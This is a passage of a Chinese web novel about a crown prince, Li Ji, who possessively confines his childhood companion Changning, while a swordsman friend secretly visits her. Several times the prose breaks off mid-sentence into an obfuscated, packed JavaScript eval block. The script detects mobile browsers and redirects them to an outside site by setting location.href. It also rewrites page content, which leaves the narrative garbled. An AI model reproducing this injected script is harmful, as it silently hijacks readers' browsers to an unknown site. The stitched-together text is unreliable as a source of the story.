“孤盘问你莫须有的事，你连眉头都不抬一下？孤竟不知，你的养气功夫有这般好，”李稷眼眸渐红，绷紧下颌，微微仰脸，“你早知道要走，也早知道不能与孤长久，还若无其事地同孤来往？” 李稷笑了，声却悲戚，“孤日夜寻思，缘何孤之所爱，竟一心弃孤而去。原来只孤一个奔着长长久久去的，你却一开始就奔着别离而来。” “玩弄孤，抛弃孤，这滋味可美妙？” 他情绪不大对，常宁也不敢轻举妄动。到底是幼时相识，同窗十余年，又有一段风月，常宁心底还是挂念的。 何况他说的那些，常宁也不认。 “殿下，我没有玩弄您的感情。自您下江浙起，那些会惹您不快的宴席和游乐之地，我都不曾去过；会引您误会的朋友，我也没有再来往过，请帖一推再推。这些事我没同您讲过，但以您的英明，当是知道的。” “您落难时我也事事上心，不曾落井下石，一度也有过与您相伴一生的念头。从开始到破裂，我对您用的情也是真的，不曾掺过一粒沙子。至于别离，人生之常事，如落花流水，自然而为，说不得玩弄。” 李稷怏怏听毕，“你的真情，就如此廉价？” 常宁脸一白，“你！” 李稷嗤笑，“今岁爱孤，明载爱旁人，后年照旧有后起之秀？不，你连两个月都撑不到。” “爱之，视若珍宝；恶之，弃如敝履。” “你这一辈子，要爱多少人，又要抛弃多少人？两人携手，你哪里来的自信，你要断，孤就要听？又哪里来的笃定，将人心攥在手里揉碎了，还能要人遂了你的意？” “真情还是滥情，孤岂能不知？” 可偏偏这么一个多情的人，李稷还是爱，“贱不贱呐？” 常宁自觉受辱，“贱也不给你！你不宝贝我自己宝贝！” 李稷自嘲一笑，“巴巴地贴上去都没人要。” 常宁怒了，“人来人去，本为常事。你做什么要来贬低我？” “贬低你？”李稷抬眉，复又摇头低笑，“孤怎会贬低你呢，是你在羞辱孤。” 他强硬地拉着常宁的手，贴上心口，“你听，孤之爱恨，系于你一身。你怎么就没想过，孤会不会难受呢？” 常宁眉目冷淡：“你松开。” 李稷眸光锃亮，似蕴着一团火。常宁的淡然刺痛了他，他也于此刻明悟，他无法接受常宁如对待无关紧要的人一般待他，更不能承受失去常宁。 哪怕做一对怨侣也好。 不是李稷的，李稷不要。是李稷的，谁也别想抢走。 “你搬过来，或者孤上表，调你爹娘到边地。” 常宁只觉得血都是冷的，“你与禽兽何异？” 李稷道：“孤之将死，哪管他人水深火热？孤只认得你。” 常宁起身，“我要往家里去信。” 李稷紧握常宁手腕，“此处便有笔墨。” 有李稷在一旁虎视眈眈，常宁落笔时便百般思量，委婉地提醒爹娘勿要轻举妄动，她兴许要在爹娘之后才能离京。 李稷看过，自然明白，“你爹娘还敢到孤府上要人不成？” 常宁绷着的脸上浮出一抹笑，烛照金冠的辉光都不及的灿然，“那是自然，我爹娘可宝贝我了。” 李稷寒气消融，“孤亦是麒麟子。” 常宁错愕地看李稷一眼。她也没见李稷和娘娘陛下有多少来往。 李稷道：“皇家秘闻，你又岂能得而知之？” 常宁一挥手，“与我无关。” 李稷抿唇不语，捞过茶盏灌水。 方才想起爹娘，常宁狂乱的心绪就安定下来了。 她如今寄人篱下，小心为妙，但也少不得做些打算。回首一想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781252|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，常宁竟觉着，先前李稷那话不像冲着她来的，可那叫人生气的氛围却是真的。 “殿下。” 李稷眼睫轻颤，也不抬眼，只紧握着杯壁。 常宁尽量嗓音平缓温和，“殿下？” 李稷：“何事？书信已去过一封。” 常宁弯唇一笑，“这点信用我还是有的，今晚不走。但殿下，您往后能不能不要说那些轻贱人的话，无论对方是老少妍蚩还是健全残缺。乃至道旁乞儿，都不要随意地轻贱人家。” 李稷恼羞成怒：“与你无关。” 他只是今日气昏了头，难不成还日日如此粗鄙？滑天下之大稽！ 常宁唔了一声，“确然，与我无关，但不能让这些污了殿下您啊。前面那些都要往后排，最重要的是，殿下您不能骂自己。” 她先前只是气，如今头脑冷静了，自然就分得出来，李稷是骂他自己呢，哪里是在骂她。 不然常宁也没这么有耐心了。 李稷冷哼：“孤又不是你这呆子。” 常宁道：“殿下，你这话可就伤我心了。你说多了，指不定哪一天我就不敢同您讲话了。” 李稷脸色纷纭变化，“孤改就是。”稍过片刻，他又回过头来，似是不可置信，“孤这样待你，你不怨孤？你这些话……可是包藏祸心？” 常宁摊手：“怎么不怨？但我想起我爹娘，我就没那么生气了。至于那些话，自然是殿下您值得。” 李稷看着常宁。 常宁笑笑：“抛开这烂摊子不提，我们十几年的情谊难道能作假？” 李稷肘撑在案上，掌罩额头，呢喃：“太短。” “殿下，您先前问我，您在我眼中是什么。当时我便说了，乃是宝中之宝，如今也不带变的。” 这般真挚的语气，配着这话勾出的午夜梦回时常遥想的情境，几乎要叫李稷动摇。 可这不是单单对李稷的。等常宁爱上了旁人，常宁也会这样看着旁人，对旁人说这样的话。而这样的人，究竟有多少呢？ 李稷镇静下来，“你骗孤。” 常宁漾出个无奈的笑：“殿下，那我再说一便，你就是很好。你说要上表调我爹娘到边地，是哪个边地呢？” 李稷：“永州。” 常宁单手托腮，在案上直视李稷，“永州在我大魏偏东偏南方向，文气斐然，既有众多湾阜，又与运河相邻，是做学问和经商的好地方。” 她悠悠叹气，“殿下，您就直说，您要给我爹娘寻个好去处，还请了道圣旨护着我爹娘，只为了让我晚些再走，难道很难吗？偏偏闹得要威胁我似的，害我都骂了你。” “我说两句好话，你便污蔑我包藏祸心，可是曾有人这样害过您？还是您觉得我是蓄意欺您骗您？” 李稷一个字也不回。 常宁道：“你关心我，就要说出来。你有猜忌，就来问我。你若有心事致使烦闷忧愁，更要同我讲。” 李稷屈指叩桌面，眸光凝滞。这是他深思熟虑时常有的动作，“你不能猜么？” 常宁笑了：“殿下，我不是你的臣属。何况那些大人们历尽千帆，也不一定次次猜准您的心思。若因此误了大事，可如何是好？” 李稷道：“你为何如此待孤？” 常宁：“你值得。” 李稷依旧沉默。 不等他理出个头绪来，常宁就满面带笑，双手沿鼻骨贴在脸颊上，“殿下你听我说，你就是值得最好的！” 她连说三遍，一声高过一声，震得守在殿外搓手的刘总管险些惊跳起来，被捻断胡须的痛激得捂着嘴嗳哟叫。 李稷手指舒展开。他做过许多设想，九成九都是常宁今夜与他反目成仇，剩下那一抹可能是他在做梦。 什么都理不清了。李稷不知为何前一刻剑拔弩张，忽然又如春回地暖一般。 什么神机妙策，都应不在常宁身上，框不出常宁的动静。李稷只知，他或许真的要陷在常宁这儿。 李稷仰脸，问出从许多年前就在他血肉中生根发芽的问题，“你之毕生，可都会这样待孤？” 58. 进宫 常宁:“我也不知道。” 李稷面上浮现一抹失望，“你口若悬河，对孤却连一句哄骗人的话都不愿意说？” 常宁诧异：“我也没那么过分。一辈子太久，我说不准，这可不能随便承诺。” 李稷问：“真不能？” 常宁沉吟：“若您信我，就等您得登大宝三年之后再说吧。” 李稷：“在此之前，你都在永州？” 常宁也拿不准，“或许。但也有可能到别处去，一个地方待久了容易腻。” “腻”这个字，从常宁口中说出来，总能让李稷联想到许多。 “太久……” 常宁伸指抵在李稷唇上，“不急于下定论，慢慢来，您再想想。” 刘总管还在外头守着，将这动静囫囵听全了。还是年轻气盛，三天两头地吵嚷，搁他身上，他可受不了。 正犹豫间，常宁推门出来了，瞧见他就是一笑，“这不是咱们刘照月嘛，我在哪儿住？” 刘总管老脸上闪过抹不自在，指指殿内的李稷，“这府邸有些年头没住人，修缮出的院落不够，您同殿下在一处就好。” 常宁只得再回去寻李稷，“是不是你授意的？” 李稷摇头。 常宁道：“那你再给我找个地方。” 李稷：“你嫌弃孤？” “哪儿跟哪儿，”常宁足足愣了一瞬，“若是个姑娘家，你也同人这样吗？” 李稷抿唇：“自然不会。” 常宁立刻道：“分明是你瞧不起我。你只知不能和姑娘家无媒苟合，换了我却就不兴这套了。” 李稷反驳：“同姑娘家能成亲，我们能吗” 常宁：“这不妨碍你尊重我。” 等常宁再出来，刘总管心里就有数了，引着常宁往临近的院子去。 再给他家殿下十张嘴，他家殿下也说不过常宁。 常宁这处院子和李稷挨得很近。得益于李稷令人费解的性子，院子里的宫人几乎不在常宁眼前晃悠，在净房备好热水和一应用具，就退下了。 泡在热水里，常宁思绪有些放空。 她倒不是闲得慌，非要去哄着李稷。只是爹娘常说，欲爱人者宜先爱己，若连自个都能任意贬低自己，那贬低旁人，在他看来就更无所谓了。 若李稷待自己都狠辣刻薄，还能待旁人温和敦厚么？到时候遭殃的头一个就是常宁。 另外一层，则是幼时相伴，多年的朋友了，常宁也没法冷眼旁观。 翌日，李稷忙时，带着常宁。 常宁还记得始作俑者，见了方俞周，笑道：“方大人，你可得注意着些妖风啊。” 方俞周拱手，“哪里用得着妖风。我老了，你们年轻人吹一口气，我就受不住。” 常宁笑笑：“怕什么，我逗你玩的。你看我够不够做你家女婿？我倒插门，做绿毛龟都没问题。” 方俞周心道，怕不是还没定下八字呢，他闺女就先成绿毛龟了，沉稳而又含蓄地拒绝了。 常宁也没个人能说话，只同他说话还有些意思，能逗得人笑一笑。但方俞周走得快，他一走，常宁就又无聊了。 方俞周是来得最早的。他走后，李稷就带常宁穿过碧纱橱，里面是间寝居的模样，有案有榻，一方妆台，一面装满书的书架，还有吃食茶水。 李稷道：“孤在外面。人多眼杂，为免麻烦，你就在这里。” 常宁哦了一声，没多大兴趣。 她一个人转了一圈，很快就熟悉起来了。外间诸事与常宁无关，她也无需费心，更无意探听。李稷头一次进来时，常宁正拿了本书看。 但这些书常宁早就看过，看上一会儿就腻了，到妆台前对着一堆亮晶晶的瓶瓶罐罐研究，又对着镜子左照又照，折回书案前取了张宣纸。 “殿下，昨日有人来报，押粮官克扣军中粮草。” 李稷道：“拿下斩了。” 那臣子犹豫，低声道：“他说，他是听命于陛下。” 李稷：“照斩不误。” 户部兵部都有李稷的人手。在军机大事上，他治下一向很严，绝不容许人触犯律条以致延误军机。 而他也有把握，他所做在父皇容忍范围之内。 待忙过这一阵，李稷再去看常宁，却已不见常宁的人影。 秋光漏进来，在铜镜前晕成一团金灿灿的光。 妆台前粉黛凌乱，口脂香膏金箔等随意放着，压着一张躺在台面上的无轴长画。 常宁在湖边，名为垂钓，实则睡觉。 太阳暖洋洋的，就是风偶尔有些冷。她这么一睡，就到了近午时。偏偏湖里还有傻鱼咬钩，常宁就抱着这条鱼送进了膳房，再绕到李稷那边，一面抬起支窗，一面看四下是否有人，往里钻去。 才进一半身子，常宁脑袋就被人拿手顶住了。 李稷问：“你去哪儿了？” 常宁难受：“殿下，让我先进来。” 李稷道：“孤这边终究比不得外面，留不下你这尊大佛。” 常宁喊冤：“金窝银窝不如我的狗窝，我不去外面。” 狗才住狗窝嘛，这可不是常宁家，常宁放起话来没带怕的！ 李稷一松手，常宁就滑溜地爬进来了，落地一拍手就去收她的画。 常宁走时，那画尚且没干，将宣纸都洇透了。如今画干了，依旧是鲜妍亮丽的，还未靠近，就有阵阵芳香扑鼻而来。 仕女图上的女子神态各异，望之栩栩如生，是幅宴饮场景。李稷早先便看过，上面有姜夫人、德妃、清河、常瑛，英国公也赫然在列。一旁还有许多李稷不认得的人物，或老或少，或男或女，无疑各个都传神无比。 李稷也找到了他。画上的他是今日的衣裳，半侧着身，露出一半脸庞来，英气逼人。他身侧则是一抚琴的素衣男子，兴许不甚重要，只留了个背影，身形也模糊。 常宁挥手道：“呆在这里我无聊。” 李稷道：“尽耍小聪明。” 常宁哼哼：“过几百年就不一样了。现在要是挖出来一幅尧舜宴饮图，那可不得了，保管被收到皇家内库里。我这个差点意思，就放它个一千年吧。” 李稷将画细致地卷起来，“孤寻人好生养护。” 常宁笑了：“哪里能放一千年，我吹的，你别太当真。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787213|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李稷道：“试试。” 常宁就打开画卷，一一指给李稷看，“这是我外祖父、外祖母、舅母、敏表姐、舟表哥……我已经很多年没见过他们，只有舟表哥月前借道京城，匆匆见了一面。” 爹娘带常宁离京，要去的头一个地方就是常宁外祖家，住上些时日才回祖地，常宁为此期待了许久。 李稷看向抚琴之人，“这又是谁？” 常宁道：“这个不适合说。” 李稷偏要听。 常宁懊悔，早知就该换个说法，“他生得很好看，我从前有几日很喜欢他，过了几日就又不喜欢了。” 李稷呼吸一窒，紧盯着常宁，确信常宁没说谎，心绪复杂，半是酸涩半是后怕。 他渐渐看出些门道来，“你同孤生了嫌隙？” 不画脸的，是逝去的从前。画了一半脸的，岂不是……渐行渐远。而周边的留白，则是常宁往后还要再提笔添人。 常宁点头：“对呀。你借我祖母生事，又整日这样待我，我很难受的。” 李稷沉默片刻，扯了常宁手腕道，“用膳。” 常宁幽幽道：“你怎么不理我？敢做不敢当。” 直到用完了膳，常宁琢磨着怎么悄悄溜出府时，李稷冷不丁道：“孤改就是。” 常宁随口回道：“你这话我都听几遍了。” 李稷问:“你欲如何？” 常宁支着脑袋想了好一会儿，“唔，你带我上朝吧！” 李稷拧眉，“你无官身，我朝四品官才能上朝，纵是孤为你筹谋，短时间内只怕也不行。” 常宁弯眸笑笑，一指李稷的腿，“殿下你装病，不就能带我去了。” 换做寻常，常宁也不敢这么提。可如今庆和帝身体愈发不好，三五日能上一次朝就不错了，朝政都交给了两个皇子。 三殿下又懒怠稚气，万事不沾，早朝几乎是一路睡过去的。李稷虽无监国之名，但有监国之实。 常宁补充道：“我扮小太监也可以。” 李稷道：“你上哪天的朝？” 常宁想了会儿，“那要看你们议什么，我只听我要听的。” 李稷嗤笑，“这做派，比孤还像太子。既如此，你需得同孤一道看奏章、听议事。” 常宁得寸进尺：“你拣要点说与我听，不好吗？” 这是李稷父皇才有的待遇。 李稷反问：“还要不要去？” 常宁只好道：“都听你的。” 有了这么一遭，李稷吩咐刘总管去找些从前的奏折，他要先带常宁读些暗语，转身却见常宁还看着他。 李稷：“怎么了？” 常宁认真道：“你还没给我道歉。” 李稷：“……” “亏你没忘，绕这么久还记得，”李稷这边正搜肠刮肚地琢磨着，忽地一阵急促马蹄声自远而近传来。 刘总管本是在守门，闻声快步走出老远，喝到：“大胆，敢在府内纵马！” “吁——”枣红色高头大马停在近前，马上的太监跳下来，将缰绳递给旁人，笑道：“刘公公，好久不见。陛下急召，请太子爷即刻入宫。” 59. 坚持！ 自李稷从宫中回来后，常宁与李稷关系似又回到从前。 李稷冷着常宁、淡着常宁。常宁先前偷溜出去，宫人都是晓得的，只是不敢拦她，只做不知。 现今常宁别说溜到湖边钓鱼，就是悄悄出院子，刚贴上墙根，人就被拦下了。 常宁总觉着，他不过进宫面圣回来就成这样，兴许是陛下勒令他不许再同她来往。或是有些旁的事，但常宁猜不出来。 偌大庭院，除却草木鱼石，再没有什么新奇的东西。常宁每日随日升日落一同行动，很是过了几天头悬梁锥刺股的日子，只每日用膳时沐浴时能见到人影。 李稷更是无影无踪。 是夜，夜色浓稠，天无星月。风穿过格子窗，吹灭了常宁案前的烛火。 常宁止了伏案的动作，不厌其烦地拿火折子点火。烛芯摇摇晃晃燃上，常宁回身还未落座，就又灭了。 如此数次，常宁索性拿冷茶将烛芯浇了个透灭，脸埋在胳膊里呜咽起来。 攒劲个屁。 她现在就走！ …… 刘总管亦不知其中缘故为何。 但刘总管还是会劝的，“殿下，这都有五日了。昨天英国公府又递了帖子，英国公欲携夫人到府上拜访。” 李稷道：“推了。” 刘总管道：“方才郑侍卫来报，常公子出行未遂，现正在闹着。” “去看看。” 太子府的侍卫武功高强，又都有所防范，常宁背着剑，还没出院子，就被拦了下来。 但常宁也不准备回去，认准了他们不敢伤到她，硬要往外走。 那侍卫苦口婆心地劝：“您就别闹了，咱也不容易，好生歇息着，两边都舒坦，闹到了殿下面前可不好。” 常宁道：“我管你。” 他们这边推搡着，还真让常宁生生往外走了一条甬道。 忽然，拦着常宁的侍卫都跪下了。 李稷问常宁：“你做什么？” 常宁睁目，脚底抹油一般往外溜。 身后的侍卫自是追不上常宁，但此处离府门尚远，一道上有不少侍卫巡视，得了李稷的令，还是按着常宁肩把人扣回来了。 李稷挥手，侍卫们抱着常宁的剑下去。 常宁目光紧盯着她的剑，“还给我。” 李稷道：“过些时日。” 常宁问：“是多少时日？” 李稷：“很快。” 常宁冷哼，“自私自利。” 李稷缓步踱到常宁面前，“真不能等么？” “等不了，”常宁扭头，不拿正眼看李稷，“你就等得？” 李稷：“是。” “你自然等得，”常宁道，“那么多人围着你转，我却一个人孤零零守在院子里。你忙得不可开支，我却一件能做的事都没有。” 李稷听毕，回道：“你那里有许多书。回去用心钻研，备考科举。” “考了也没用，读了也没用！”常宁泪流满面，“我就要回家。” 李稷摇头，“你回不去。” 常宁此刻恨不得用尽最怨毒的字句来骂他，“你根本就是自私自利、刻薄寡恩。你遇难，让我回去不就好了？” 李稷很平静：“孤只是不愿意放手，有什么错？你要归家，归不得，还知道要撞来撞去。同样有所求，凭什么你要孤迁就你？” 常宁反问：“那你就让我迁就你？因为我退一步、再退一步、更退一步，你就要我一退再退？你却连一步都不愿意退的！” 李稷道：“这只是暂时的。” 常宁吸吸鼻子，拿衣袖抹干了泪，“你说再多，你也是自私自利。你一个人难受，为什么也要带着我不得好受。” 李稷道：“共患难，同富贵，哪里不对？” 常宁方才止住的泪又汹涌了，“我这么多天里，见不着人，说不着话，无论是天光还是烛光，打在我身上，连影子都只是一个人的。你患了难，自有你的锦绣前程。我患了你加给我的难，我能得到什么？变得不人不鬼么！” 李稷反驳:“岂是难？孤让你在清幽之处专心向学，等孤找的先生过来，你再专攻科举，何愁没有前程？” 再回到这座庭院中，常宁满心愤恨。 掩上门扉，李稷甚至抹去常宁脸上泪痕，“很快的。用不上一年半载，就都过去了。” 常宁打开李稷的手，“你连发生了什么都不愿意告诉我吗？” 李稷道：“不能。别哭了。” 常宁抽抽噎噎道：“我凭什么不哭！我花了那么多的心思，付出那么多精力，你却一点都不信我。你这么自我自大，要我一次次哄你捧你，却连一声道歉吝啬给予我。我亏血本了！” “这不能说明什么，”李稷嗓音软了些，“为你我的大事计，区区小事，不足挂齿，且往前看。” 常宁更觉心寒。 李稷的背影渐渐远去。 常宁坐在玉兰下的石桌上，拿棋子一枚枚摆放着，又打散了重收进棋篓里。 过去十多年里，常宁流过的泪都没这几个月多。她分明不爱哭，大多时也乐淘淘怡然自得，如今却怎样也提不起兴致。 常宁念书不能考科举，提剑打马不能上战场。考科举的书常宁念得滚瓜烂熟，但却不知究竟有什么用。埋在胸襟里，就这么等她化为一抔黄土时跟着烂掉么？ 常宁思念爹娘，却见不到；忧心表姐，却踏不出这门；想再去看看李稚，也不知要到何时。 她现在一星半点也不喜欢李稷了。他只享受、索取，却不付出。他自傲自大自负，不舍得花一分心力来维系这份感情，但却埋怨常宁不够忠诚、不够坚定。 常宁也累了，一粒粒挑着方才被她混在一起的黑白棋子。一只苍白修长的手斜刺到棋娄旁，腕极白，袖极黑，掌心里静躺着一方帕子。 他蒙着脸，只露出一双散漫空泛眼睛，又将帕子递向常宁。 尽管如此，常宁还是认出了他，“侍玉？” “抱歉，有事耽搁，来晚了，”张侍玉扯下面罩，眼尾上挑，“你记性还是这样好，我以为你要忘了我。” 常宁眼眸尚且晕着潮红，那分沉寂的骄傲就又昂扬了起来，“当然，我见过的每个人，我都记得。” 张侍玉牵唇笑笑，“你猜我如何晓得你在这儿？” 常宁摇头，“我不知道。” 张侍玉道：“你已经很久没有活跃在市井间，寻你的酬金，零零总总加起来，已有五千余两金子。若能带你回府，你府上还会再赠予许多金银地契。” “但我是来报恩的。这些与我无关，因你而来，自也归你。” 爹娘还念着常宁。 常宁忍不住细细地笑起来，“谢谢你来找我。” “报恩，不必言谢。” “要的。等我出去后，我再好好谢你。你可不要拒绝，我会过意不去的。” 张侍玉一笑，倚剑道：“看我的剑么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791865|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 英国公一家在江湖上风评极好，是世代经营积累下的声誉。张侍玉倒也听说过，英国公府上有一家规，施恩不图报。可他们江湖中人快意恩仇，岂有不报的道理？ 何况这人是常宁。 常宁眸中点点光亮，连连点头，“你先避一下，我的剑不在这里。”她走到院门前，敲了几下，隔着院门道，“给我剑。” 外面侍卫很快应道：“少爷，天晚了，安歇吧。刀剑无眼，不可妄动。” 常宁道：“你管我，拿来，不然我告你们的状。你们都欺负我！” 侍卫无奈，隔了一会儿，才开了道细缝，从门缝里递出一把未开刃的剑。 张侍玉见了，将他的剑放在石桌上，接过常宁手中的钝剑。 常宁问：“这剑成吗？” 张侍玉笑道：“成。若我技艺不精，又怎能怪缺少神兵？” 他振了振剑，使剑时翩然飘逸，令观者赏心悦目，却又暗藏杀机。 常宁不由忆起她在醉仙楼遇见张侍玉时的情景。江湖对常宁来说很遥远，是个光怪陆离的世界，但常宁很青睐江湖人的豪爽不拘小节，少时就常畅想快意情仇、仗剑走天涯。 她以为她早就不喜欢这些了，今日一见，却发觉自己心里还是爱的，兴致高涨，眸光晶亮。 “好重的杀气。” 张侍玉收剑，飘飘然到常宁跟前，“自英国公府一别，我杀了许多人。但他们死有余辜，都是我的仇家。如今，我只剩最后一人，就再无需杀人。” 常宁有些吃惊，“你连这些都告诉我，不怕吗？” 张侍玉洒然一笑：“怕什么？我越瞒你，就越是惊惧暴露的那天。我这些事，不足为外人道，难不成连你也不能说了？” 李稷就不会这样。 常宁愤愤鄙夷了一番李稷，抬眸撞见含笑的张侍玉，忽地有些委屈，“我被骗了。他骗我很久，一直一直骗我。” 张侍玉笑着，“马前失足，世人多不能幸免。顺心而为，爱之则聚，憎之则离。” 常宁早便是如此想，但痛心怨愤却做不得假，又日日形单影只，无处排遣忧愁，才催做泪水。如今大吐胸中不快，又遇旧友知己，苦闷已消了十之三四，因问：“你走时，说要追求至高至上的武学，可成了？” 张侍玉摇头，“武道永无止境。” 常宁追问：“那到我这里，可会耽误你？” “不会，”张侍玉笑道，“这不是我分别后第一次见你。” 慧能大师曾托常宁给张侍玉带话，要他珍惜眼前人。可惜那时张侍玉满心复仇，总以为来日方长。不曾想再临魏都时，一切都晚了。 幸而苍天眷顾，峰回路转，尚有补救之机。 常宁觉得惊奇，又同张侍玉说了会儿话，“我什么时候能出去？” 张侍玉道：“要等时机。我这轻功虽妙，但终究难及神力，两人一同走，容易打草惊蛇。” “不急，”常宁忙道，又抬眸纠结好一会儿，“你能常来看我吗？我在这边，连个说话的人都没有。若是不方便，那就算了，可别伤着你。” 张侍玉眉心微皱，“为何？” 他深夜前来，也能观出府上富丽堂皇，又岂能缺了人。 常宁难以启齿：“就是……我做生意赔本了。” 张侍玉没再追问，“我每夜都来。” “谢谢。”常宁有些哽咽，“谢谢你。” “真的很感谢你。” 60. 坚持！ 白日里阴沉沉的，飘了会儿盐粒般的雪。 常宁房里也点上了炭盆，还有新裁制的冬衣。没有绣娘来量过常宁的身形尺寸，但上身时效果还不错。 落雪时，常宁就在窗边沉思了许久。夜间又飘起了雪粒子，打在窗纸上滑落在窗棂缝隙里。 常宁在炭炉旁，持箸泛着散发出香气的薄片五花肉。油星落在烧红的炭上，化作滋滋青烟。 院中有细微声响，渐渐靠近。疑心是张侍玉，常宁眉开眼笑：“冷吗？” 门扉翕动，乌皮靴迈过门槛。与风雪一同挤入室内的，是多日不见的李稷，“你和谁说话？要出门？” 他一袭绛纱袍，犀簪远游冠，缨绥系于颌下，神色温煦自然。 常宁俯身一拜，“草民见过殿下。草民方才是自言自语呢。” 她依旧是红缎衣裳，外罩一层水红纱，如烟似雾。炭火舔舐时，常宁脸庞也会跟着明灭。 她仰脸看来时，压在玄色纱网帽下的眼眸明亮柔润，似蕴着莹莹波光。 李稷疑虑渐消，蹙眉道：“你我不必多礼。你自言自语做什么？” “礼不可废，”常宁一一答复，“我自个寂寞。” 李稷压下心头的怜与软，“且再忍忍，快了。” 常宁点头，并不在意他说这些话，兀自问道：“您能帮我送些东西吗？或是允我写封信给爹娘？” “说来听听。” 常宁道：“云策和公孙谨，料想都在西北许多时日了。我们这里下了雪，冷得我不想再出门，但那边恐怕更冷，我想送些衣物吃食给他们。我曾经遇见过几个胡商，他们的帽子不仅能遮住头耳，连唇鼻和大半脸都能遮住，挡风又不阻碍视线，早便约好从他们那里订些货来，算算时间，应该到货了。” “还有烧酒、伤药。云策喜欢用热辣的汤羹，在那边恐怕吃不到。我府上厨艺擅长熬汤，正可配好香料写了方子一并送去，凭他再添佐料去。” 李稷嗤笑：“大少爷，路上耗费的金银，可比你那些东西金贵多了。” 常宁弯眸笑笑：“冬日这般冷，他们若能收到，我这些花得便值。” 李稷：“孤不倒贴钱。” 常宁说：“当了我的宝剑，足够了。” 李稷：“孤没有？” 常宁道：“殿下享四海供奉。粗鄙之物，草民不敢拿来污您的玉体。” 李稷唇角笑意渐消，“铁了心要同孤对着干？” “草民不敢。” 李稷寒凉的眸光落在常宁身上。 常宁说：“殿下，您就认了吧，断袖终究不是正途。您会遭人耻笑的，大家都笑话您，陛下也不乐意见您断袖，保不齐会做出些什么来。” 李稷道：“无妨。他们说一千道一万，又有哪个与你我相干？且放宽心。” 常宁如今很不愿意见到李稷，“那可不行。您当断袖无妨，皇室宗亲那样多，您又有许多兄弟姊妹。我却不一样，我爹娘只有我一个，我要撑起门户的，可万万不能断袖。” “也多亏了这段时日您冷待我，我这才想清楚，我喜欢的还是姑娘家。” 李稷分辨不清常宁所说是真是假，但总归不愿听，“那又如何？” 这什么人，吵架都吵不起来。常宁没辙了，胡乱诌道：“我就男女通吃、一夫一妻呗，还能怎么着？” “有孤就够了，不必再去寻什么妻子，”李稷道，“待孤解决了外面的事情，就不拘着你。” 常宁不信，“你只会许诺。诺言许多了，就不叫人稀奇了。” 李稷道：“没骗你。孤此生不会娶妻。” 常宁阴阳怪气：“哦——那让别人嘲笑你好了，反正与我无关。” 李稷凝眸看向常宁，常宁说的每句话都带着刺。他想了想，补充道：“你若想，也不是不可以，总有法子的。” 和李稷成亲？那画面，常宁都不敢想。后妃本就难得自由，听说往宫外写封信都麻烦得紧，要许多宫人和圣上查阅过了，才能递到宫墙外，简直毫无乐趣可言。 何况常宁在这里都被李稷关够了，料想宫中更胜一筹。别说常宁现在明面上是男子，就算有天常宁换回女儿装，也是不再考虑李稷的。 且看如今，李稷如此阴晴不定、喜怒无常，什么都不愿意讲给常宁。常宁就是伤心欲绝，只怕也得等她吊死在院子里，李稷才肯过来看她一眼。 这还是喜欢她呢！ 等讨厌她了，那还得了？ 常宁懒洋洋道：“男人哪儿有我媳妇好。她扇我一巴掌，我都得夸她带起了香风。” 李稷道：“你不举，还要娶了人家祸害人家？” 常宁哼了一声，“那不叫不举，那是对你硬不起来！” 李稷：“……强词夺理。” 常宁只消看一眼，就知道李稷认定了她罹患有疾，便愈发看他不顺。 不多时，暗卫冒雪提着食盒过来，将膳食摆好后，又悄无声息地退下。 常宁十分警惕。即使李稷将碗筷推到常宁面前，常宁也不碰。 李稷问：“怎么不用？” 常宁：“我怕你拿耗子药药死我。” 想想耗子的模样，常宁就觉得必然会死得很惨很痛苦。 其心可诛！ 单看常宁眼珠直转，李稷焉能不知常宁在想些什么。又一思量，夜间着实不好积食， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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张侍玉扫过常宁绯红沁汗的脸颊，见常宁难受地咬唇，皱眉问：“怎么了？” 常宁抬袖拭汗，“用了点补汤，不曾想功效这般强，腹中如有火灼，热得我难受。” 张侍玉脸色一变，摸出一袋粉末，溶在温茶中，“怕是不好。你先用了清泄之药，我到外面寻医。还是要快些出去才好，只我对大夫口述症状，想必效用不大。” 常宁想说没这么严重，可体内却像是有燃不尽的火，让她开窗对冲也不觉寒冷。经张侍玉这么一说，常宁竟又平白吓出许多汗来，依言照做。 61. 坚持！ 泻药确然是最简单的解毒药。 翌日，常宁虚脱无力，一看滴漏，醒得比平日略晚，也只当是天寒地冻，兼之一夜折腾。 